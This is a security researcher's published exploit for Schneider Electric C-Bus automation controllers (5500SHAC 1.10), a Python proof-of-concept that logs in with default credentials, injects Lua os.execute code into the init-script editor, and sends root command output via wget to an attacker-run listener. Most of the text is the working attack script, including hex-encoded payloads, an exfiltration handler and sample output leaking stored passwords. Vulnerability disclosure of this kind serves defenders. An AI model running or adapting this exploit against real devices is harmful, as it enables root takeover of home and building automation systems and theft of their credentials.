Authored by LiquidWorm | Site zeroscience.mk

Schneider Electric C-Bus Automation Controller (5500SHAC) version 1.10 suffers from an authenticated arbitrary command execution vulnerability. An attacker can abuse the Start-up (init) script editor and exploit the script POST parameter to insert malicious Lua script code and execute commands with root privileges that will grant full control of the device.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root Exploit
#
#
# Vendor: Schneider Electric SE
# Product web page: https://www.se.com | https://www.clipsal.com
# Product details:
# - https://www.clipsal.com/Trade/Products/ProductDetail?catno=5500SHAC
# - https://www.se.com/ww/en/product/5500AC2/application-controller-spacelogic-cbus-rs232-485-ethernet-din-mount-24v-dc/
# Affected version: CLIPSAL 5500SHAC (i.MX28)
# CLIPSAL 5500NAC (i.MX28)
# SW: 1.10.0, 1.6.0
# HW: 1.0
# Potentially vulnerable (alternative products/same codebase?): 5500NAC2 and 5500AC2
# SpaceLogic C-Bus
#
# Summary: The C-Bus Network Automation Controller (5500NAC) and the Wiser
# for C-Bus Automation Controller (5500SHAC)) is an advanced controller from
# Schneider Electric. It is specifically designed to unite the C-Bus home
# automation solution with common household communication protocols, from
# lighting and climate control, to security, entertainment and energy metering.
# The Wiser for C-Bus Automation Controller manages and controls C-Bus systems
# for residential homes or zones within a building and integrates functions
# such as heating/cooling, energy/load monitoring and remote control for C-Bus
# and Modbus.
#
# Desc: The automation controller suffers from an authenticated arbitrary
# command execution vulnerability. An attacker can abuse the Start-up (init)
# script editor and exploit the 'script' POST parameter to insert malicious
# Lua script code and execute commands with root privileges that will grant
# full control of the device.
#
# ------------------------------------------------------------------------------
# $ ./c-bus.py http://192.168.0.10 "cat /etc/config/httpd;id" 192.168.0.37 8888
# ----------------------------------------------------------------------
# Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at 15.03.2022 11:26:38
# [*] Starting exfiltration handler on port 8888
# [*] Writing Lua initscript... done.
# [*] Running os.execute()... done.
# [*] Got request from 192.168.0.10:33522
# [*] Printing target's request:
#
# b"GET / HTTP/1.1rnHost: 192.168.0.37:8888rnUser-Agent: nconfig user
# 'admin'ntoption password 'admin123'nnconfig user 'remote'ntoption
# password 'remote'nnuid=0(root) gid=0(root) groups=0(root)rnConnection:
# closernrn"
#
# [*] Cleaning up... done.
#
# $
# ------------------------------------------------------------------------------
#
# Tested on: CPU model: ARM926EJ-S rev 5 (v5l)
# GNU/Linux 4.4.115 (armv5tejl)
# LuaJIT 2.0.5
# FlashSYS v2
# nginx
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2022-5707
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5707.php
#
#
# 12.03.2022
#

import threading#!
import datetime##!
import requests##!
import socket####!
import time######!
import sys#######!
import re########!

from requests.auth import HTTPBasicAuth
from time import sleep as spikaj

class Wiser:

def __init__(self):
self.headers = None
self.uri = '/scada-main/scripting/'
self.savs = self.uri + 'save'
self.runs = self.uri + 'run'
self.start = datetime.datetime.now()
self.start = self.start.strftime('%d.%m.%Y %H:%M:%S')
self.creds = HTTPBasicAuth('admin', 'admin123')

def memo(self):
if len(sys.argv) != 5:
self.use()
else:
self.target = sys.argv[1]
self.execmd = sys.argv[2]
self.localh = sys.argv[3]
self.localp = int(sys.argv[4])
if not 'http' in self.target:
self.target = 'http://{}'.format(self.target)

def exfil(self):
print('[*] Starting exfiltration handler on port {}'.format(self.localp))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', self.localp))
while True:
try:
s.settimeout(9)
s.listen(1)
conn, addr = s.accept()
print('[*] Got request from {}:{}'.format(addr[0], addr[1]))
data = conn.recv(2003)
print('[*] Printing target's request:')
print('n%s' %data)
except socket.timeout as p:
print('[!] Something's not right. Check your port mappings!')
break
s.close()
self.clean()

def mtask(self):
konac = threading.Thread(name='thricer.exe', target=self.exfil)
konac.start()
self.byts()

def byts(self):
self.headers = {
'Referer':self.target+'/scada-main/main/editor?id=initscript',
'Sec-Ch-Ua':'"(Not(A:Brand";v="8", "Chromium";v="98"',
'Cookie':'x-logout=0; x-auth=; x-login=1; pin=',
'Content-Type':'text/plain;charset=UTF-8',
'User-Agent':'SweetHomeAlabama/2003.59',
'X-Requested-With':'XMLHttpRequest',
'Accept-Language':'en-US,en;q=0.9',
'Accept-Encoding':'gzip, deflate',
'Sec-Ch-Ua-Platform':'"Windows"',
'Sec-Fetch-Site':'same-origin',
'Connection':'keep-alive',
'Sec-Fetch-Dest':'empty',
'Sec-Ch-Ua-Mobile':'?0',
'Sec-Fetch-Mode':'cors',
'Origin':self.target,
'Accept':'*/*',
'sec-gpc':'1'
}

self.loada = 'x64x61x74x61x3Dx7B' # data={
self.loada += 'x22x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30x30x34x22x3Ax22x22x2C' # "ext-comp-1004":"",
self.loada += 'x22x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30x30x35x22x3Ax22x22x2C' # "ext-comp-1005":"",
self.loada += 'x22x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30x30x36x22x3Ax22x22x2C' # "ext-comp-1006":"",
self.loada += 'x22x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30x30x37x22x3Ax22x22x2C' # "ext-comp-1007":"",
self.loada += 'x22x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30x30x38x22x3Ax22x22x2C' # "ext-comp-1008":"",
self.loada += 'x22x73x63x61x64x61x2Dx68x65x6Cx70x2Dx73x65x61x72x63x68x22x3Ax22x22x2C' # "scada-help-search":"",
self.loada += 'x22x69x64x22x3Ax22x69x6Ex69x74x73x63x72x69x70x74x22x2C' # "id":"initscript",
self.loada += 'x22x73x63x72x69x70x74x22x3Ax6Ex75x6Cx6Cx2C' # "script":null,
self.loada += 'x22x73x63x72x69x70x74x6Fx6Ex6Cx79x22x3Ax22x74x72x75x65x22x7D' # "scriptonly":"true"}
self.loada += 'x26x73x63x72x69x70x74x3Dx6Fx73x2Ex65x78x65x63x75x74x65' # &script=os.execute
self.loada += 'x28x27x77x67x65x74x20x2Dx55x20x22x60' # ('wget -U "`
self.loada += self.execmd # [command input]
self.loada += 'x60x22x20' # `".
self.loada += self.localh+':'+str(self.localp) # [listener input]
self.loada += 'x27x29' # ')
self.loadb = 'x64x61x74x61x3Dx7B' # data={
self.loadb += 'x22x69x64x22x3Ax22x69x6Ex69x74x73x63x72x69x70x74x22x7D' # "id":"initscript"}

print('[*] Writing Lua initscript... ', end='')
sys.stdout.flush()
spikaj(0.7)

htreq = requests.post(self.target+self.savs, data=self.loada, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn't work!')
exit(17)
else:
print('done.')

print('[*] Running os.execute()... ', end='')
sys.stdout.flush()
spikaj(0.7)

htreq = requests.post(self.target+self.runs, data=self.loadb, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn't work!')
exit(19)
else:
print('done.')

def splash(self):
Baah_loon = '''
######
##########
###### __
##===----[.].]
#( , _
# )__|
/
`-._``-'
>@
|
|
|
|
| Schneider Electric C-Bus SmartHome Automation Controller
| Root Remote Code Execution Proof of Concept
| ZSL-2022-5707
|
|
|
'''
print(Baah_loon)

def use(self):
self.splash()
print('Usage: ./c-bus.py [target] [cmd] [lhost] [lport]')
exit(0)

def clean(self):
print('n[*] Cleaning up... ', end='')
sys.stdout.flush()
spikaj(0.7)

self.headers = {'X-Requested-With':'XMLHttpRequest'}

self.blank = 'x64x61x74x61x3Dx25x37x42x25x32x32'
self.blank += 'x65x78x74x2Dx63x6Fx6Dx70x2Dx31x30'
self.blank += 'x30x34x25x32x32x25x33x41x25x32x32'
self.blank += 'x25x32x32x25x32x43x25x32x32x65x78'

self.dlank = 'x74x2Dx63x6Fx6Dx70x2Dx31x30x30x35'
self.dlank += 'x25x32x32x25x33x41x25x32x32x25x32'
self.dlank += 'x32x25x32x43x25x32x32x65x78x74x2D'
self.dlank += 'x63x6Fx6Dx70x2Dx31x30x30x36x25x32'

self.clank = 'x32x25x33x41x25x32x32x25x32x32x25'
self.clank += 'x32x43x25x32x32x65x78x74x2Dx63x6F'
self.clank += 'x6Dx70x2Dx31x30x30x37x25x32x32x25'
self.clank += 'x33x41x25x32x32x25x32x32x25x32x43'

self.slank = 'x25x32x32x65x78x74x2Dx63x6Fx6Dx70'
self.slank += 'x2Dx31x30x30x38x25x32x32x25x33x41'
self.slank += 'x25x32x32x25x32x32x25x32x43x25x32'
self.slank += 'x32x73x63x61x64x61x2Dx68x65x6Cx70'

self.glank = 'x2Dx73x65x61x72x63x68x25x32x32x25'
self.glank += 'x33x41x25x32x32x25x32x32x25x32x43'
self.glank += 'x25x32x32x69x64x25x32x32x25x33x41'
self.glank += 'x25x32x32x69x6Ex69x74x73x63x72x69'

self.hlank = 'x70x74x25x32x32x25x32x43x25x32x32'
self.hlank += 'x73x63x72x69x70x74x25x32x32x25x33'
self.hlank += 'x41x25x32x32x25x32x32x25x32x43x25'
self.hlank += 'x32x32x73x63x72x69x70x74x6Fx6Ex6C'

self.flank = 'x79x25x32x32x25x33x41x25x32x32x74'
self.flank += 'x72x75x65x25x32x32x25x37x44'#######'

self.clear = f'{self.blank}{self.dlank}{self.clank}{self.slank}{self.glank}{self.hlank}{self.flank}'
htreq = requests.post(self.target+self.savs, data=self.clear, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn't work!')
exit(18)
else:
print('done.')
exit(-1)

def main(self):
print('-'*70)
print('Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at', self.start)
self.memo(), self.mtask()

if __name__ == '__main__':
Wiser().main()